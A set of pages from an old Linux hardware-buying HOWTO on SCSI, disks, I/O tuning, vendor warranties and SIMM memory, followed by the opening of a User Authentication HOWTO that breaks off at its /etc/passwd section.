Many motherboards now support ``dual EIDE'' channels, i.e. two separate [E]IDE interfaces each of which can, theoretically, support two IDE disks or ATA-style devices.

4.4.3. SCSI Terminology

The following, by Ashok Singhal <ashoks@duckjibe.eng.sun.com> of Sun Microsystems with additions by your humble editor, is a valiant attempt to demystify SCSI terminology.

The terms ``SCSI'', ``SCSI-2'', and ``SCSI-3'' refer to three different specifications. Each specification has a number of options. Many of these options are independent of each other. I like to think of the main options (there are others that I'll skip over because I don't know enough about them to talk about them on the net) by classifying them into five categories:

4.4.3.1. Logical: SCSI-1, SCSI-2, SCSI-3

This refers to the commands that the controllers understand. You'll no longer see SCSI-1 in new hardware. SCSI-3 is a superset of SCSI-2 including commands intended for CD-R and streaming multimedia devices.

4.4.3.2. Electrical Interface

  • single-ended (max cable length 6 meters)

  • differential (max cable length 25 meters)

This option is independent of command set, speed, and path width. Differential is less common but allows higher transfer speeds, better noise immunity and longer cables. It's rare in SCSI-1 controllers.

You will normally see single-ended SCSI controllers on low-speed devices such as tapes and CD drives, and differential SCSI on hard drives (look for the specification LVD which means "low-voltage differential").

Nowadays most controllers support both electrical interfaces, but if you mix LVD with single-ended on the same chain, the whole chain will fall back to single-ended (and possibly halve the speed of the faster devices).

4.4.3.3. Handshake

  • Asynchronous (acknowledge each word (8, 16 or 32 bits) transferred.

  • Synchronous (multiple-word transfers permitted between ACKS).

Synchronous is faster. This mode is negotiated between controller and device; modes may be mixed on the same bus. This is independent of command set, data width, and electrical interface.

4.4.3.4. Synchronous Speed (does not apply for asynchronous option)

Normal transfer speed is 5 megabytes/sec. The ``fast'' option (10 mb/sec) is defined only in SCSI-2 and SCSI-3. Fast-20 (or ``Ultra'') is 20 mb/sec; Fast-40 (or "Ultra-2") is 40MB/sec. The fast options basically defines shorter timing parameters such as the assertion period and hold time.

The parameters of the synchronous transfer are negotiated between each target and initiator so different speed transfers can occur over the same bus.

4.4.3.5. Path width

The standard SCSI data path is 8 bits wide. The ``wide'' option exploits a 16- or 32-bit data path (uses 68-pin rather than 50-pin data cables). You also get 4-bit rather than 3-bit device IDs, so you can have up to 16 devices. The wide option doubles or quadruples your transfer rate, so for example a fast-20/wide SCSI link using 16 bits transfers 40mb/sec.

What are those ``LUN'' numbers you see when you boot up? Think of them as sub-addresses on the SCSI bus. Most SCSI devices have only one ``logical'' device inside them, thus they're LUN zero. Some SCSI devices can, however, present more than one separate logical unit to the bus master, with different LUNs (0 through 7). The only context in which you'll normally use LUNs is with CD-ROM juke boxes. Some have been marketed that offer up to 7 CD-ROMS with one read head. These use the LUN to differentiate which disk to select.

(There's history behind this. Back in the days of EISA, drives were supposed to be under the control of a separate SCSI controller, which could handle up to 7 such devices (15 for wide SCSI). These drives were to be the Logical Units; hence the LUN, or Logical Unit Number. Then, up to 7 of these SCSI controllers would be run by the controller that we today consider the SCSI controller. In practice, hardware cost dropped so rapidly, and capability increased so rapidly, it became more logical to embed the controller on the drive.)

4.4.4. Avoiding Pitfalls

Here are a couple of rules and heuristics to follow:

Rule 1: Total SCSI cable length (both external and internal devices) must not exceed six meters. For modern Ultra SCSI (with its higher speed) cut that to three feet!

It's probably not a good idea to cable 20MB/s or faster SCSI devices externally at all. If you must, one of our informants advises using a Granite Digital ``perfect impedance'' teflon cable (or equivalent); these cables basically provide a near-perfect electrical environment for a decent price, and can be ordered in custom configurations if needed.

A common error is to forget the length of the ribbon cable used for internal devices when adding external ones (that is, devices chained to the SCSI board's external connector).

Rule 2: Both ends of the bus have to be electrically terminated.

On older devices this is done with removable resistor packs — typically 8-pin-inline widgets, yellow or blue, that are plugged into a plastic connector somewhere near the edge of the PCB board on your device. Peripherals commonly come with resistor packs plugged in; you must remove the packs on all devices except the two end ones in the physical chain.

Newer devices advertised as having "internal termination" have a jumper or switch on the PCB board that enables termination. These devices are preferable, because the resistor packs are easy to lose or damage.

Rule 3: No more than seven devices per chain (fifteen for Wide SCSI).

There are eight SCSI IDs per controller. The controller reserves ID 7 or 15, so your devices can use IDs 0 through 6 (or 0 through 14, wide). No two devices can share an ID; if this happens by accident, neither will work.

The conventional ID assignments are: Primary hard disk = ID 0, Secondary hard disk = ID 1, Tape = ID 2. Some Unixes (notably SCO) have these wired in. You select a device's ID with jumpers on the PCB or a thumbwheel.

SCSI IDs are completely independent of physical device chain position.

Heuristic 1: If you're buying narrow SCSI, stick with controllers and devices that use the Centronics-style 50-pin connector. Internally these connectors are physically identical to diskette cables. Externally they use a D50 shell. This "standard" connector is common in the desktop/tower/rackmount-PC world, but you'll find lots of funky DIN and mini-DIN plugs on devices designed for Macintosh boxes and some laptops. Ask in advance and don't get burned.

Heuristic 2: For now, when buying a controller, go with an Adaptec xx42 or one of its clones such as the BusLogic 542. (I like the BusLogic 946 and 956, two particularly fast Adaptec clones well-supported under Linux.) The Adaptec is the card everybody supports and the de-facto standard. Occasional integration problems have been reported with Unix under Future Domain and UltraStor cards, apparently due to command-set incompatibilities. At least, before you buy these, make sure your OS explicitly supports them.

However: Beware the combination of an Adaptec 1542 with a PCI Mach32 video card. Older (1.1) Linux kernels handled it OK, but all current ones choke. Your editor had to replace his 1542 because of this, swearing sulphurously the while.

Heuristic 3: You'll have fewer hassles if all your cables are made by the same outfit. (This is due to impedence reflections from minor mismatches. You can get situations where cable A will work with B, cable B will work with C, but A and C aren't happy together. It's also non-commutative. The fact that `computer to A to B' works doesn't mean that `computer to B to A' will work.

Heuristic 4. Beware Cheap SCSI Cables!

Mark Sutton tells the following instructive horror story in a note dated 5 Apr 1997:

I recently added an additional SCSI hard drive to my home machine. I bought an OEM packaged Quantum Fireball 2 gig SCSI drive (meaning, I bought a drive in shrinkwrap, without so much as mounting hardware or a manual. Thank God for Quantum's web page or I would have had no idea how to disable termination or set the SCSI ID on this sucker. Anyway, I digress...). I stuck the drive in an external mounting kit that I found in a pile of discarded computer parts at work and my that boss said I could have. (All 5 of my internal bays were full of devices.)

Anyway, I had my drive, and my external SCSI mounting kit, I needed a cable.

I went into my friendly local CompUSA in search of a SCSI cable, and side-by-side, on two hooks, were two "identical" SCSI cables. Both were 3 feet. Both had Centronics to Centronics connectors, both were made by the same manufacturer. They had slightly different model numbers. One was $16.00, one was $30.00. Of course, I bought the $16 cable.

Bad, I say, bad bad mistake. I hooked this sucker up like so:

 ———-  ———   ————-   ———
 |Internal|--|Adaptec|—|New Quantum|—|UMAX   |
 |Devices |  |1542CF | ^ |  Disk     | ^ |Scanner|
 ———-  ——--  | ————- | ———
                       |               |
                   New $16 cable   Cable that came
                                     with scanner.

Shortly after booting, I found that data all over my old internal hard drive was being hosed. This was happening in DOS as well as in Linux. Any disk access on either disk was hosing data on both disks, attempts to scan were resulting in corrupted scans *and* hosing files on the hard disks. By the time I finished swapping cables around, and checking terminations and settings, I had to restore both Linux and DOS from backups.

I went back to CompUSA, exchanged the $16 cable for the $30 one, hooked it up and had no more problems.

I carefully examined the cables and discovered that the $30 cable contained 24 individual twisted pairs. Each data line was twisted with a ground line. The $16 cable was 24 data wires with one overall grounded shield. Yet, both of these cables (from the same manufacturer) were being sold as SCSI cables!

You get what you pay for.

(Another correspondent guesses that the cheap cable probably said ``Macintosh'' on it. The Mac connector is missing most of its ground pins.)

4.4.5. Trends to Watch For

Disks of less than 10GB capacity simply aren't being manufactured anymore; there's no margin in them. Our spies tell us that all major disk makers retooled their lines a while back to produce 9GB unit platters (IBM is an exception; it seems to use 6GB platters), which are simply being stacked 2N per spindle to produce ranges of drives with roughly 18GB increments of capacity.

Average drive latency is inversely proportional to the disk's rotational speed. For years, most disks spun at 3600 rpm; most disks now spin at 7,200 rpm, and high-end disks like the Seagate Cheetah line are moving to 10,000 and 15,000 rpm. These fast-spin disks run extremely hot; expect cooling to become a critical constraint in drive design.

Drive densities have reached the point at which standard inductive read/write heads are a bottleneck. In newer designs, expect to see magnetoresistive head assemblies with separate read and write elements.

4.4.6. More Resources

There's a USENET SCSI FAQ. Also see the home page of the T10 committee that writes SCSI standards.

There is a large searchable database of hard disk and controller information at the PC DISK Hardware Database.

4.5. Other Disk Decisions

Look at seek times and transfer rates for your disk; under Unix disk speed and throughput are so important that a 1-millisecond difference in average seek time can be quite noticeable.

4.5.1. Disk Brands

An industry insider (a man who buys hard drives for systems integration) has passed us some interesting tips about drive brands. He says the absolute best-quality drives are the Hewlett-Packards but you will pay a hefty premium for that quality.

The other top-tier manufacturers are IBM, Quantum and Seagate; these drives combine cutting-edge technology with very aggressive pricing.

The second tier consists of Maxtor, Conner, and Western Digital.

Maxtor often leads in capacity and speed, but at some cost in other quality measures. For example, many of the high-capacity Maxtor drives have serious RFI emission problems which can cause high error rates. SCSI has built-in ECC correction, so SCSI drives only take a performance hit from this; but it can lead to actual errors from IDE drives.

Western Digital sells most of its output to Gateway at sweetheart prices; WD drives are thus not widely available elsewhere.

The third tier consists of Fujitsu, Toshiba, and everyone else. My friend observes that the Japanese, despite their reputation for process engineering savvy, are notably poor at drive manufacturing; they've never spent the money and engineering time needed to get really good at making the media.

Just as a matter of interest, he also says that hard drives typically start their life cycle at an OEM price around $400 each. When the price erodes to around $180, the product gets turfed — there's no margin any more.

I've found a good cheap source for reconditioned SCSI disks at Uptime Computer Support Services.

4.6. Tuning Your I/O Subsystem

(This section comes to us courtesy of Perry The Cynic, <perry@sutr.cynic.org>; it was written in 1998. My own experience agrees pretty completely with his. I have revised the numbers in it since to reflect more recent developments.)

Building a good I/O subsystem boils down to two major points: pick matched components so you don't over-build any piece without benefit, and construct the whole pipe such that it can feed what your OS/application combo needs.

It's important to recognize that ``balance'' is with respect to not only a particular processor/memory subsystem, but also to a particular OS and application mix. A Unix server machine running the whole TCP/IP server suite has radically different I/O requirements than a video-editing workstation. For the ``big boys'' a good consultant will sample the I/O mix (by reading existing system performance logs or taking new measurements) and figure out how big the I/O system needs to be to satisfy that app mix. This is not something your typical Linux buyer will want to do; for one, the application mix is not static and will change over time. So what you'll do instead is design an I/O subsystem that is internally matched and provides maximum potential I/O performance for the money you're willing to spend. Then you look at the price points and compare them with those for the memory subsystem. That's the most important trade-off inside the box.

So the job now is to design and buy an I/O subsystem that is well matched to provide the best bang for your buck. The two major performance numbers for disk I/O are latency and bandwidth. Latency is how long a program has to wait to get a little piece of random data it asked for. Bandwidth is how much contiguous data can be sent to/from the disk once you've done the first piece. Latency is measured in milliseconds (ms); bandwidth in megabytes per second (MB/s). Obviously, a third number of interest is how big all of your disks are together (how much storage you've got), in Gigabytes (GB).

Within a rather big envelope, minimizing latency is the cat's meow. Every millisecond you shave off effective latency will make your system feel significantly faster. Bandwidth, on the other hand, only helps you if you suck a big chunk of contiguous data off the disk, which happens rarely to most programs. You have to keep bandwidth in mind to avoid mis-matching pieces, because (obviously) the lowest usable bandwidth in a pipe constrains everything else.

I'm going to ignore IDE. IDE is no good for multi-processing systems, period. You may use an IDE CD-ROM if you don't care about its performance, but if you care about your I/O performance, go SCSI.

Let's look at the disks first. Whenever you seriously look at a disk, get its data sheet. Every reputable manufacturer has them on their website; just read off the product code and follow the bouncing lights. Beware of numbers (`<12ms fast!') you may see in ads; these folks often look for the lowest/highest numbers on the data sheet and stick them into the ad copy. Not dishonest (usually), but ignorant.

What you need to find out for a disk is:

  1. What kind of SCSI interface does it have? Look for "fast", "ultra", and "wide". Ignore disks that say "fiber" (this is a specialty physical layer not appropriate for the insides of small computers). Note that you'll often find the same disk with different interfaces.

  2. What is the "typical seek" time (ms)? Make sure you get "typical", not "track-to-track" or "maximum" or some other measure (these don't relate in obvious ways, due to things like head-settling time).

  3. What is the rotational speed? This is typically 4500, 5400, 7200, 10000, or 15000 rpm (rotations per minute). Also look for "rotational latency" (in ms). (In a pinch, average rotational latency is approx. 30000/rpm in milliseconds.)

  4. What is the `media transfer rate' or speed (in MB/s)? Many disks will have a range of numbers (say, 7.2-10.8MB/s). Don't confuse this with the "interface transfer rate" which is always a round number (10 or 20 or 40MB/s) and is the speed of the SCSI bus itself.

These numbers will let you do apple-with-apples comparisons of disks. Beware that they will differ on different-size models of the same disk; typically, bigger disks have slower seek times.

Now what does it all mean? Bandwidth first: the `media transfer rate' is how much data you can, under ideal conditions, get off the disk per second. This is a function mostly of rotation speed; the faster the disk rotates, the more data passes under the heads per time unit. This constrains the sustained bandwidth of this disk.

More interestingly, your effective latency is the sum of typical seek time and rotational latency. So for a disk with 8.5ms seek time and 4ms rotational latency, you can expect to spend about 12.5ms between the moment the disk `wants' to read your data and the moment when it actually starts reading it. This is the one number you are trying to make small. Thus, you're looking for a disk with low seek times and high rotation (RPM) rates.

For comparison purposes, the first hard drive I ever bought was a 20MB drive with 65ms seek time and about 3000RPM rotation. A floppy drive has about 100-200ms seek time. A CD-ROM drive can be anywhere between 120ms (fast) and 400ms (slow). The best IDE harddrives have about 10-12ms and 5400 rpm. The best SCSI harddrive I know (the Seagate Cheetah) runs 7.8ms/10000rpm.

Fast, big drives are expensive. Really big drives are very expensive. Really fast drives are pretty expensive. On the other end, really slow, small drives are cheap but not cost effective, because it doesn't cost any less to make the cases, ship the drives, and sell them.

In between is a `sweet spot' where moving in either direction (cheaper or more expensive) will cost you more than you get out of it. The sweet spot moves (towards better value) with time. Right now (July 2001), it's about at 18GB drives, 6ms, 10000rpm, ultra2 SCSI. If you can make the effort, go to your local computer superstore and write down a dozen or so drives they sell `naked'. (If they don't sell at least a dozen hard drives naked, find yourself a better store. Use the Web, Luke!) Plot cost against size, seek and rotational speed, and it will usually become pretty obvious which ones to get for your budget.

Do look for specials in stores; many superstores buy overstock from manufacturers. If this is near the `sweet spot', it's often surprisingly cheaper than comparable drives. Just make sure you understand the warranty procedures.

Note that if you need a lot of capacity, you may be better off with two (or more) drives than a single, bigger one. Not only can it be cheaper but you end up with two separate head assemblies that move independently, which can cut down on latency quite a bit (see below).

Once you've decided which kind of drive(s) you want, you must decide how to distribute them over one or more SCSI buses. Yes, you may want more than one SCSI bus. (My current desktop machine has three.) Essentially, the trick is to make sure that all the disks on one bus, talking at the same time, don't exceed the capacity of that bus. At this time, I can't recommend anything but an Ultra/Wide SCSI controller. This means that the attached SCSI bus can transfer data at up to 40MB/s for an Ultra/Wide disk, 20MB/s for an Ultra/narrow disk, and 10MB/s for a `fast SCSI' disk. These numbers allow you do do your math: an 8MB/s disk will eat an entire bus on its own if it's `fast' (10MB/s). Three 6MB/s ultra/narrow disks fit onto one bus (3x6=18MB/s<20MB/s), but just barely. Two ultra/wide Cheetahs (12.8MB/s) will share an (ultra/wide) bus (25.6<40), but they would collide on an ultra/narrow bus, and any one Cheetah would be bandwidth constrained on a (non-ultra) `fast' bus (12.8 > 10).

If you find that you need two SCSI buses, you can go with `dual channel' versions of many popular SCSI controller cards (including the Adaptec). These are simply two controllers on one card (thus taking only one PCI slot). This is cheaper and more compact than two cards; however, on some motherboards with more than 3 PCI slots, using two cards may be somewhat faster (ask me what a PCI bridge is :-).

How do you deal with slow SCSI devices - CD-ROMS, scanners, tape drives, etc.? If you stick these onto a SCSI bus with fast disks, they will slow down things a bit. You can either accept that (as in ``I hardly ever use my scanner anyway''), or stick them onto a separate SCSI bus off a cheap controller card. Or you can (try to) get an ATA version to stick onto that inevitable IDE interface on your motherboard. The same logic applies to disks you won't normally use, such as removables for data exchange.

If you find yourself at the high end of the bandwidth game, be aware that the theoretical maximum of the PCI bus itself is 132MB/s. That means that a dual ultra/wide SCSI controller (2x40MB/s) can fill more than half of the PCI bus's bandwidth, and it is not advised to add another fast controller to that mix. As it is, your device driver better be well written, or your entire system will melt down (figuratively speaking).

Incidentally, all of the numbers I used are `optimal' bandwidth numbers. The real scoop is usually somewhere between 50-70% of nominal, but things tend to cancel out - the drives don't quite transfer as fast as they might, but the SCSI bus has overhead too, as does the controller card.

Whether you have a single disk or multiple ones, on one or several SCSI buses, you should give careful thought to their partition layout. Given a set of disks and controllers, this is the most crucial performance decision you'll make.

A partition is a contiguous group of sectors on the disk. Partitioning typically starts at the outside and proceeds inwards. All partitions on one disk share a single head assembly. That means that if you try to overlap I/O on the first and last partition of a disk, the heads must move full stroke back and forth over the disk, which can radically increase seek time delays. A partition that is in the middle of a partition stack is likely to have best seek performance, since at worst the heads only have to move half-way to get there (and they're likely to be around the area anyway).

Whenever possible, split partitions that compete onto different disks. For example, /usr and the swap should be on different disks if at all possible (unless you have outrageous amounts of RAM).

Another wrinkle is that most modern disks use `zone sectoring'. The upshot is that outside partitions will have higher bandwidth than inner ones (there is more data under the heads per revolution). So if you need a work area for data streaming (say, a CD-R pre-image to record), it should go on an outside (early numbered) partition of a fast-rotating disk. Conversely, it's a good convention to put rarely-used, performance-uncritical partitions on the inside (last).

Another notes concerns SCSI mode pages. Each (modern) SCSI disk has a small part of its disk (or a dedicated EEPROM) reserved for persistent configuration information. These parameters are called `mode pages', for the mechanism (in the SCSI protocol) for accessing them. Mode page parameters determine, among others, how the disk will write-cache, what forms of error recovery it uses, how its RAM cache is organized, etc. Very few configuration utilities allow access to mode page parameters (I use FWB Toolkit on a Mac - it's simply the best tool I know for that task), and the settings are usually factory preset for, uh, Windows 95 environments with marginal hardware and single-user operation. Particularly the cache organization and disconnect/reconnect pages can make a tremendous difference in actual performance. Unfortunately there's really no easy lunch here - if you set mode page parameters wrong, you can screw up your data in ways you won't notice until months later, so this is definitely `no playing with the pushebuttons' territory.

Ah yes, caches. There are three major points where you could cache I/O buffers: the OS, the SCSI controller, and the on-disk controller. Intelligent OS caching is by far the biggest win, for many reasons. RAM caches on SCSI controller cards are pretty pointless these days; you shouldn't pay extra for them, and experiment with disabling them if you're into tinkering.

RAM caches on the drives themselves are a mixed bag. At moderate size (1-2MB), they are a potential big win for Windows 95/98, because Windows has stupid VM and I/O drivers. If you run a true multi-tasking OS like Linux, having unified RAM caches on the disk is a significant loss, since the overlapping I/O threads kick each other out of the cache, and the disk ends up performing work for nothing.

Most high-performance disks can be reconfigured (using mode page parameters, see above) to have `segmented' caches (sort of like a set-associative memory cache). With that configured properly, the RAM caches can be a moderate win, not because caching is so great on the disk (it's much better in the OS), but because it allows the disk controller more flexibility to reschedule its I/O request queue. You won't really notice it unless you routinely have >2 I/O requests pending at the SCSI level. The conventional wisdom (try it both ways) applies.

And finally I do have to make a disclaimer. Much of the stuff above is shameless simplification. In reality, high-performance SCSI disks are very complicated beasties. They run little mini-operating systems that are most comfortable if they have 10-20 I/O requests pending at the same time. Under those circumstances, the amortized global latencies are much reduced, though any single request may experience longer latencies than if it were the only one pending. The only really valid analysis are stochastic-process models, which we really don't want to get into here. :-)

4.7. Souping Up X Performance

If you care about X performance, be sure you get a graphics card with a dedicated blitter and a high-speed local-bus connection. If it says "AGP" you have this; AGP is a cross-vendor standard for a local bus optimized for graphics.

These cards speed up X in two ways. First, they offload some common screen-painting operations from the main processor onto specialized processors on the card itself. Secondly, by using a local bus, they make it possible to send commands to the card faster than the ISA bus could allow. The combined effect can be eye-poppingly fast screen updates even at very high resolutions.

There's no longer much reason to bother with any of the closed-source X servers like MetroLink or X/Inside. XFree86 now supports most of the high-end cards that used to be the special preserve of the closed-source X versions.

If you're feeling really flush, plump for a 17" or even 20" monitor. The larger size can make a major difference in viewing comfort. Also you'll be set for 1600x1200, which many cards can support these days. In the mean time, the bigger screen will allow you to use fonts in smaller pixel sizes so that your text windows can be larger, giving you a substantial part of the benefit you'd get from higher pixel resolutions.

Prev | Home | Next
Buying the Basics |  | Hardware for Backups


Questions You Should Always Ask Your Vendor

The Unix Hardware Buyer HOWTO
Prev Next

11. Questions You Should Always Ask Your Vendor

11.1. Minimum Warranty Provisions

The weakest guarantee you should settle for in the mail-order market should include:

  • 72-hour burn-in to avoid that sudden infant death syndrome. (Also, try to find out if they do a power-cycling test and how many repeats they do; this stresses the hardware much more than steady burn-in.)

  • 30 day money-back guarantee. Watch out for fine print that weakens this with a restocking fee or limits it with exclusions.

  • 1 year parts and labor guarantee (some vendors give 2 years).

  • 1 year of 800 number tech support (many vendors give lifetime support).

Additionally, many vendors offer a year of on-site service free. You should find out who they contract the service to. Also be sure the free service coverage area includes your site; some unscrupulous vendors weasel their way out with "some locations pay extra", which translates roughly to "through the nose if you're further away than our parking lot".

If you're buying store-front, find out what they'll guarantee beyond the above. If the answer is "nothing", go somewhere else.

11.2. Documentation

Ask your potential suppliers what kind and volume of documentation they supply with your hardware. You should get, at minimum, operations manuals for the motherboard and each card or peripheral; also an IRQ list. Skimpiness in this area is a valuable clue that they may be using no-name parts from Upper Baluchistan, which is not necessarily a red flag in itself but should prompt you to ask more questions.

11.3. A System Quality Checklist

There are various cost-cutting tactics a vendor can use which bring down the system's overall quality. Here are some good questions to ask:

  • If you're buying a factory-configured system, does it have FCC certification? While it's not necessarily the case that a non-certified system is going to spew a lot of radio-frequency interference, certification is legally required — and becoming more important as clock frequencies climb. Lack of that sticker may indicate a fly-by-night vendor, or at least one in danger of being raided and shut down! (For further discussion, see the section on Radio Frequency Interference above.)

  • Are the internal cable connectors keyed, so they can't be put in upside down? This doesn't matter if you'll never, ever ever need to upgrade or service your system. Otherwise, it's pretty important; and, vendors who fluff this detail may be quietly cutting other corners.

Prev | Home | Next
How to Buy |  | Things to Check when Buying Mail-Order


Software to go with your hardware

The Unix Hardware Buyer HOWTO
Prev Next

14. Software to go with your hardware

I used to maintain an entire separate FAQ on Unixes for 386/486 and Pentium hardware. Times change, industries evolve, and I can now replace that FAQ with just three words:

Go get Linux!

Prev | Home | Next
After You Take Delivery |  | Other Resources on Building Linux PCs


Upgrading Older Machines

The Unix Hardware Buyer HOWTO
Prev

16. Upgrading Older Machines

16.1. Older Memory Types

The last-generation memory package was a SIMM (Single In-Line Memory Module). We include some information on these here for people upgrading old systems.

SIMMs have 9 bits wide (8 bits of data, one for parity) and either 1, 4, or 16 megabytes in size. The 16s are slightly cheaper per megabyte.

There are two physical SIMM sizes; 30-pin and 72-pin. The 30-pin size is long obsolete; most SIMM-using motherboards have exclusively 72-pin sockets.

Also, your memory may or may not have on-board parity check bits. Memory with parity is specified as ``x36'' (4 check bits per word); memory without is ``x32''. Some motherboards require parity memory; some (including those based on the Neptune chipset) can use parity if present; some (including those based on the Triton chipset) cannot use it. Parity memory is a good idea for Unix machines, which stress the hardware more than other OSs.

You'll hear a lot about ``EDO'' (Extended Data Out) RAM. This stuff is 5%-10% more expensive, but that pays for a significant performance boost in ``burst mode'' (that is, when fetching large contiguous sections of memory into the cache). Most current motherboards (including those based on the Triton chipset) can use EDO but don't require it.

You do not want to buy 1MB SIMMs any more, unless you're filling out memory in an existing system configured with 1MB SIMMs. The trouble with these (besides the fact that four of them are more expensive than a 4MB chip) is that, due to interleaving constraints, you'll probably have to throw them away if you ever add more memory.

These interleaving constraints differ from motherboard to motherboard. Typically, memory sockets are set up in banks of either 2 or 4, with a requirement that you fill all sockets of each bank with the same size of chip. Also, if you mix chip sizes in the banks, the sizes have to decrease smoothly (so there won't be gaps in the memory address space).

So your possible configurations look like the following table. All of these are possible on 4-bank, 16-slot boards; only the asterisked ones are possible on 2-bank, 8-slot boards. All the capacities above 64MB require that the board accept 16MB SIMMs. All current 2x8 boards accept these.

        * 4MB  = 1-1-1-1
        * 8MB  = 1-1-1-1 + 1-1-1-1
          12MB = 1-1-1-1 + 1-1-1-1 + 1-1-1-1
          16MB = 1-1-1-1 + 1-1-1-1 + 1-1-1-1 + 1-1-1-1

        * 16MB = 4-4-4-4
        * 20MB = 4-4-4-4 + 1-1-1-1
          24MB = 4-4-4-4 + 1-1-1-1 + 1-1-1-1
          28MB = 4-4-4-4 + 1-1-1-1 + 1-1-1-1 + 1-1-1-1

        * 32MB = 4-4-4-4 + 4-4-4-4
          36MB = 4-4-4-4 + 4-4-4-4 + 1-1-1-1
          40MB = 4-4-4-4 + 4-4-4-4 + 1-1-1-1 + 1-1-1-1

          48MB = 4-4-4-4 + 4-4-4-4 + 4-4-4-4
          52MB = 4-4-4-4 + 4-4-4-4 + 4-4-4-4 + 1-1-1-1

          64MB = 4-4-4-4 + 4-4-4-4 + 4-4-4-4 + 4-4-4-4

        * 64MB = 16-16-16-16
        * 68MB = 16-16-16-16 + 1-1-1-1
          72MB = 16-16-16-16 + 1-1-1-1 + 1-1-1-1
          76MB = 16-16-16-16 + 1-1-1-1 + 1-1-1-1 + 1-1-1-1

        * 80MB = 16-16-16-16 + 4-4-4-4
          84MB = 16-16-16-16 + 4-4-4-4 + 1-1-1-1
          88MB = 16-16-16-16 + 4-4-4-4 + 1-1-1-1 + 1-1-1-1

          100MB = 16-16-16-16 + 4-4-4-4 + 4-4-4-4 + 1-1-1-1
          112MB = 16-16-16-16 + 4-4-4-4 + 4-4-4-4 + 4-4-4-4

        * 128MB = 16-16-16-16 + 16-16-16-16
          132MB = 16-16-16-16 + 16-16-16-16 + 1-1-1-1
          136MB = 16-16-16-16 + 16-16-16-16 + 1-1-1-1 + 1-1-1-1

          144MB = 16-16-16-16 + 16-16-16-16 + 4-4-4-4
          148MB = 16-16-16-16 + 16-16-16-16 + 4-4-4-4 + 1-1-1-1
          160MB = 16-16-16-16 + 16-16-16-16 + 4-4-4-4 + 4-4-4-4

          192MB = 16-16-16-16 + 16-16-16-16 + 16-16-16-16
          196MB = 16-16-16-16 + 16-16-16-16 + 16-16-16-16 + 1-1-1-1

          208MB = 16-16-16-16 + 16-16-16-16 + 16-16-16-16 + 4-4-4-4
          256MB = 16-16-16-16 + 16-16-16-16 + 16-16-16-16 + 16-16-16-16

As you can see from the table, most configurations with 1MB chips in them can't be upgraded without throwing away chips.

Here's some more about memory packaging.

DIP

Dual Inline Pack. These are the little 16-, 18- or more legged chips that looked vaguely like squared-off centipedes. Populating 8Mb was a task for an evening. Obsolete, except for cache memory.

SIPP

Single Inline Pin Pack. These look like SIMMs, but have round in-line pins instead of the flat card-edge. Obsolete.

SIMM

Single Inline Memory Module. A small 30-pin card composed of several chips (the number differs by manufacturer, age, and density) and support components (mostly older modules) that installs in a snap-in socket. They evolved through 128K, 256K, and 512K modules--all sadly obsolete today--into 1Mb, 2Mb (rather rare), and 4Mb modules. Now generally superseded by...

72-pin SIMM

Introduced in the last couple of years to cut down on the number modules needed, they usually run 4Mb, 8Mb, 16Mb, and 32Mb. Many motherboards are available with both 30 and 72-pin SIMM sockets to allow migration use of your older SIMMs.

DIMM

Dual In-Line Memory Module. This is the current cutting edge, available in 64MB and 128MB sizes.

There are also adapter cards that will accept 30-pin SIMM modules and plug into a 72-pin socket; make sure you've the room for these if you intend to try them, as they protrude quite a bit above the board. There are also companies that will, for modest fees, desolder the memory chips from 30-pin SIMMs and wave solder them onto 72-pin boards.

(Thanks to Dave Ihnat for the glossary.)

Prev | Home
Other Resources on Building Linux PCs |


After You Take Delivery

The Unix Hardware Buyer HOWTO
Prev Next

13. After You Take Delivery

Your configuration is custom and involves slightly unusual hardware. Therefore, keep a copy of the configuration you wrote down, and check it against the invoice and the actual delivered hardware. If there is a problem, calling back your vendor right away will maximize your chances of getting the matter settled quickly.

Prev | Home | Next
Things to Check when Buying Mail-Order |  | Software to go with your hardware


User Authentication HOWTO

Peter Hernberg

2000/05/02

Explains how user and group information is stored and how users are authenticated on a Linux system (PAM), and how to secure you system's user authentication.

Table of Contents
Introduction
How this document came to be
New versions
Feedback
Version History
Copyrights and Trademarks
Acknowledgements and Thanks
Assumptions about the reader
How User Information is Stored on Your System
/etc/passwd
Shadow passwords
/etc/group and /etc/gshadow
MD5 encrypted passwords
Sifting through the mess
PAM (Pluggable Authentication Modules)
Why
What
How
Getting more information
Securing User Authentication
A strong /etc/pam.d/other
Disabling logins for user with null passwords
Disable unused services
Password-cracking tools
Shadow and MD5 passwords
Tying it all together
Apache + mod_auth_pam
Resources
PAM
General Security
Offline Documentation
Conclusion

Introduction

How this document came to be

When trying to add a number of (mostly unnecessary :) network services to my existing home network, I kept running into the problem of authentication, so I decided to figure out how authentication works on linux systems, write a HOWTO, and call it my senior project. I hope this document helps you understand this often-forgotten, but very important, aspect of system administration.

New versions

When I get my domain up running properly, you'll be able to find the newest version of this document there. Until then, http://www.linuxdoc.org/ will have to suffice.

Feedback

Comments, corrections, suggestions, flames, and flying saucer sightings can be sent to petehern@yahoo.com.

Version History

v0.1 (May 13, 2000) first version (not released).

v0.3 (May 14, 2000) revised (not released).

v0.5 (May 15, 2000) added section on securing pam, added resources section (not released).

v0.7 (May 15, 2000) revised; ready for release.

Copyrights and Trademarks

(c) 2000 Peter Hernberg

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies

  • Any translation or derived work must be approved by the author in writing before distribution.

  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.

  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given. Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. Any source code (aside from the SGML this document was written in) in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive.

Acknowledgements and Thanks

Thanks to my family for putting up with me for 18 years. Thanks to the Debian folks for making such a sweet distro for me to play with. Thanks to CGR for paying me to be a geek. Thanks to Sandy Harris for his helpful suggestions. Finally, I'd like thank the makers of ramen noodles, because I don't know how I'd live without them.

Assumptions about the reader

For the purpose of this document, it is assumed that the reader is comfortably with executing commands at the command line and editing text configuration files.

Next
How User Information is Stored on Your System


How User Information is Stored on Your System

/etc/passwd

On almost all linux distributions (and commercial *nixes as well), user information is stored in /etc/passwd, a text file which contains the user's login, their encrypted password, a unique numerical user id (called the uid), a numerical group id (called the gid), an optional comment field (usually containing such items as their real name, phone number, etc.), their home directory, and their preferred shell. A typical entry in /etc/passwd looks something like this:

